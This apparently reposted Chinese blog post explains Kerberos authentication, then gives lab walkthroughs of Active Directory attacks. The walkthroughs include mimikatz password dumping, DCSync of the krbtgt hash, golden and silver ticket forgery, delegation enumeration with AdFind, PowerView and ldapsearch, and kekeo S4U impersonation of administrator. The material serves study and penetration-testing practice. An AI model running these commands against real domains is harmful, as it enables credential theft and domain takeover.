在Kerberos协议中主要有三个角色的存在:
1.访问服务的Client
2.提供服务的Server
3.KDC(Key Distribution Center)密钥分发中心其中KDC分为Authentication Service(简称AS),AS为Client生成TGT、Ticket Granting Service(简称TGS),TGS为Client生成Ticket
AD类似于本机SAM的一个数据库,存储着Client的白名单,只有在这个名单中的Client才能够申请到TGT
TGT:可以理解为入场卷,通过入场卷可以获得票据
Tickket:票据,在域中使用
KDC服务默认安装域控中,从物理层面看,AD与KDC均为域控制器
KDC服务框架中包含一个krbtgt账户,是在创建域时系统自动创建的
1、认证流程
有一个富豪在他的别野弄了一场宴会,邀请了Client并发送了邀请函(宴会主人不知道Client长啥样),并且宴会由主人亲自主持。那么Client要进入宴会找到富豪得到想要的东西,有下面几道程序: 1.邀请函 --> 白名单 2.Client来到别野大门被保安(AS)拦住Client并询问他是否有邀请函(白名单),Client亮出邀请函,保安立马拿富豪为Client准备的礼物(TGT)给他,这下Client让司机继续驶向富豪的别野 3.富豪的管家(TGS)早早的在别野门口等候,当管家(TGS)看到Client手上拿着礼物(TGT),即可上来进行问好并把别野的通行卡(Ticket)给了Clent 4.拿到了通行卡(Ticket)的Client就可以在别野中畅通无阻并找到了富豪(Server),得到了他想要的东西 |
0、白银票据
privilege::Debug,提升权限
sekurlsa::logonpasswords,抓取密码
kerberos::list,查看有没有票据,假如有需要进行清除
kerberos::purge,清除票据
kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt
/sid:SID值
/target:目标服务器主机名
/service:需要指定相关的服务名,此处为cifs
/rc4:域控的计算机账号ntlm hash
/user:要伪造的用户名,任意填写
1、黄金票据
lsadump::dcsync /domain:域名 /user:krbtgt
#构造方法
mimikatz.exe "kerberos::golden /domain:域名 /sid:域sid /rc4:krbtgt ntlm hash /user:任意用户名 /ptt" exit
#测试是否成功
dir \server2008.hello.com
可以使用PsExec进行执行命令
工具下载地址
https://docs.microsoft.com/en-us/sysinternals/downloads/psexec
3、金票与银票区别
获取的权限不同
金票:伪造的TGT,可以获取任意Kerberos的访问权限
银票:伪造的ST,只能访问指定的服务,如CIFS
认证流程不同
金票:同KDC交互,但不同AS交互
银票:不同KDC交互,直接访问Server
加密方式不同
金票:由krbtgt NTLM Hash 加密
银票:由服务账号 NTLM Hash 加密
4、非约束委派
设置非约束委派
设置完之后,要用administrator账户登录W2008,这里使用WinRM进行远程连接,默认端口为5985
Enter-PSSession -ComputerName W2008
常见的连接方式还有:MSSQL和IIS
假如出现此错误
#域控运行,添加trusthost列表
Set-item wsman:localhostclienttrustedhosts –value *
#域主机运行
Enable-PSremoting -force
非约束委派查找
ADfind
工具地址:http://www.joeware.net/freetools/tools/adfind/index.htm
AdFind.exe -b "DC=hello,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
PowerView
工具地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
Get-NetComputer -Unconstrained -Domain hello.com
ldapsearch
#kali自带
ldapsearch -x -H ldap://192.168.213.148:389 -D "CN=hello,CN=Users,DC=hello,DC=com" -w password -b "DC=hello,DC=com" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
非约束委派利用
privilege::debug
sekurlsa::tickets /export
通过ptt将TGT注入到当前会话中
kerberos::ptt [0;76b92][email protected]
关于非约束委派的,还有一个是结合打印机的,我的环境问题没有进行复现
5、约束委派
设置约束委派
约束委派查找
ADfind
AdFind.exe -b "DC=hello,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
PowerView
Get-DomainComputer -TrustedToAuth -Domain hello.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
约束委派利用
由于环境问题没复现成功,大体思路如下
tgt::ask /user:DM /domain:hello.com /password:abcd0123** /ticket:test.kirb
获得:
[email protected][email protected]
#将其改名为2.kirbi
#使用这张TGT通过伪造s4u请求以administrator用户身份请求访问AD CIFS的ST
tgs::s4u /tgt:2.kirbi /user:[email protected] /service:cifs/AD.hello.com
#使用mimikatz将ST2导入当前会话
kerberos::ptt [email protected]@[email protected]
#导入之后即可访问AD的cifs服务,kekeo同样支持使用NTLM Hash
https://www.jianshu.com/p/4936da524040
https://xz.aliyun.com/t/7217
END
本文始发于微信公众号(NOVASEC):kerberos浅析认证及攻击方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论